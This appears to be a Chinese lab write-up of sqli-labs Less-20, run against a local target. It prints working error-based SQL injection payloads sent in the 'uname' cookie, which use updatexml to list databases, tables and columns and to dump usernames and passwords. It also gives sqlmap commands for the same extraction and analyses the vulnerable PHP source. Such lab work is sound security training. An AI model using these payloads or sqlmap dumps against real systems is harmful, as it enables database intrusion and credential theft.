当前位置: 首页 > article >正文

sql-labs靶场第二十关测试报告

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-20/

二、测试目的

测试cookie的sql注入,使用报错注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

这关首先要知道正确的账号和密码,可以去前些关拿到账号和密码

(这里因为十七关是重置密码的页面,将密码重置为1了,需要原本的密码重置sql-labs的数据库即可)

登录失败,没有显示

成功登录会显示user-agent信息和cookie信息,注入点在cookie

2、注入数据库

①寻找注入方法

提交方式还是post,在cookie注入

抓个包查看cookie值

Cookie:

uname=admin;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

使用hackbar传入cookie值,成功的可以使用

在admin后面添加一个单引号,出现了sql语句的报错

寻找闭合符号

拼接逻辑语句,判断闭合符号是否正确

闭合符号为单引号,逻辑语句正常,1=1时正常显示,1=2时,出现错误

uname=admin' and 1=1#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

uname=admin' and 1=2#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

拼接报错语句,查看数据库版本成功

uname=admin' and updatexml(1,concat(0x7e,substr(version(),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

②爆库,查看数据库名称

爆出所有数据库(只写了一条例子),示例:

uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

③爆表,查看security库的所有表

爆表,security表

uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

④爆列,查看users表的所有列

爆列,users表

uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

uname=admin' and updatexml(1,concat(0x7e,substr((select group_concat(username,'^',password) from users),1,31),0x7e),1)#;BEEFHOOK=dZVE2ik7R0liCsQfV7YllV89rzZglaxxEjqccbKOb7KxynsbZTYoiSVfNMwQWGGeOY5ne8wQwHdInD3D;PHPSESSID=djer5384u6itlu0bf88pct2165

3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存(保存登录后的刷新包,含有cookie)

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 --dbs

使用python程序

-r  指定抓到的数据包文件

--level=2      这个等级会检测cookie是否含有注入

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --level=2 -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

if(!isset($_POST['submit']))
        {
            
            $cookee = $_COOKIE['uname'];
            $format = 'D d M Y - H:i:s';
            $timestamp = time() + 3600;
            echo "<center>";
            echo '<br><br><br>';
            echo '<img src="../images/Less-20.jpg" />';
            echo "<br><br><b>";
            echo '<br><font color= "red" font size="4">';   
            echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
            echo "</font><br>"; 
            echo '<font color= "cyan" font size="4">';  
            echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];           
            echo "</font><br>";         
            echo '<font color= "#FFFF00" font size = 4 >';
            echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
            echo '<font color= "orange" font size = 5 >';           
            echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
            
            
            echo "<br></font>";
            $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
            $result=mysql_query($sql);
            if (!$result)
                {
                die('Issue with your mysql: ' . mysql_error());
                }
            $row = mysql_fetch_array($result);
            if($row)
                {
                echo '<font color= "pink" font size="5">';  
                echo 'Your Login name:'. $row['username'];
                echo "<br>";
                echo '<font color= "grey" font size="5">';      
                echo 'Your Password:' .$row['password'];
                echo "</font></b>";
                echo "<br>";
                echo 'Your ID:' .$row['id'];
                }
            else    
                {
                echo "<center>";
                echo '<br><br><br>';
                echo '<img src="../images/slap1.jpg" />';
                echo "<br><br><b>";
                //echo '<img src="../images/Less-20.jpg" />';
                }
            echo '<center>';
            echo '<form action="" method="post">';
            echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
            echo '</form>';
            echo '</center>';
        }  

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.将cookie中的uname作为获取变量执行了select语句,出错会执行报错函数。

3.这关会弹出cookie信息,用户名密码信息等,使用报错注入得到结果。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

用sqlmap的话,需要指定抓到的数据包,也需要指定level,爆破cookie需要level 2。

这关使用报错注入得到结果。


http://www.kler.cn/news/366601.html

相关文章:

  • 用kali入侵 DarkHole_2测试
  • HTML+JavaScript案例分享: 打造经典俄罗斯方块,详解实现全过程
  • 【ARM】ARM架构参考手册_Part B 内存和系统架构(2)
  • 银行客户贷款行为数据挖掘与分析
  • 前端零基础入门到上班:【Day4】HTML 多媒体与表单深度教程
  • SQL CHECK 约束:确保数据完整性的关键
  • 【Linux】从open到write:系统文件I/O 的奥秘与实战指南
  • 实测体验Claude 3.5升级版:AI首次实现直接操控电脑!
  • 【Linux】信号量,线程池
  • 智能EDA小白从0开始 —— DAY27 第二届设计自动化产业峰会IDAS 2024:比昂芯科技携最新EDA工具链及应用成果亮相
  • 从文化到实践:DevOps的基本概念与核心实践详解
  • 20241023给荣品RD-RK3588-AHD开发板刷荣品预编译的Android12之后使用TDMonitor V2.0.2测试板载GPS
  • Nginx14-Lua基础
  • 【Leecode】Leecode刷题之路第32天之最长有效括号
  • C++ | STL | 侯捷 | 学习笔记
  • 【Qt】控件——Qt输入类控件、常见的输入类控件、输入类控件的使用、Line Edit、Text Edit、Combo Box、Spin Box
  • VUE前端按钮添加遮罩层
  • HttpRequest模块 --- 存储http请求要素
  • leetCode算法题爬楼梯递归写法
  • MySQL-事务隔离级别
  • 不用一行代码,手把手叫你创作一款旅游类智能体!
  • CANFD SSP第二采样点引发的“风波”分析
  • 完美解决phpstudy安装后mysql无法启动
  • React六官方文档总结三脱围机制
  • 关闭容器 禁用docker自启动 卸载docker
  • go 使用fyne实现桌面程序的计算器例子